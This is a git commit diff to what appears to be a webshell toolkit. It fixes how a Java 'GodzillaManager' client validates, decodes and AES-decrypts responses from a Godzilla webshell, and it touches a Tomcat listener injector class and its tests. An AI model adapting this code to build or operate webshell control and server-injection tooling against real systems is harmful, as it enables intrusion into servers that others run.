fix: godzilla listener check error

This commit is contained in:
ReaJason
2024-12-04 23:19:00 +08:00
parent b5a91fa4e6
commit f4f0d5608c
5 changed files with 37 additions and 20 deletions
@@ -194,7 +194,10 @@ public class GodzillaManager implements Closeable {
if (StringUtils.isEmpty(response)) {
return false;
}
return response.length() > 32 && response.startsWith(md5.substring(0, 16)) && response.trim().endsWith(md5.substring(16));
if (response.length() < 32) {
return false;
}
return response.contains(md5.substring(0, 16)) && response.trim().contains(md5.substring(16));
}
@SneakyThrows
@@ -202,8 +205,9 @@ public class GodzillaManager implements Closeable {
if (!isValidResponse(responseBody, md5)) {
return responseBody;
}
int lastIndex = responseBody.indexOf(md5.substring(16));
String result = responseBody.substring(16);
result = result.substring(0, result.length() - 16);
result = result.substring(0, lastIndex);
byte[] bytes = Base64.decodeBase64(result);
byte[] x = aes(key, bytes, false);
GZIPInputStream gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(x));
@@ -14,10 +14,10 @@ import java.util.zip.GZIPInputStream;
/**
* Tomcat Listener 注入器
* Author: pen4uin
* 测试版本:
* jdk v1.8.0_275
* tomcat v5.5.36, v6.0.9, v7.0.32, v8.5.83, v9.0.67
* @author pen4uin, ReaJason
*/
public class TomcatListenerInjector {
@@ -33,7 +33,7 @@ class GodzillaManagerTest {
.build()) {
assertTrue(manager.start());
assertTrue(manager.test());
} catch (IOException e) {
} catch (IOException ignored) {
}
}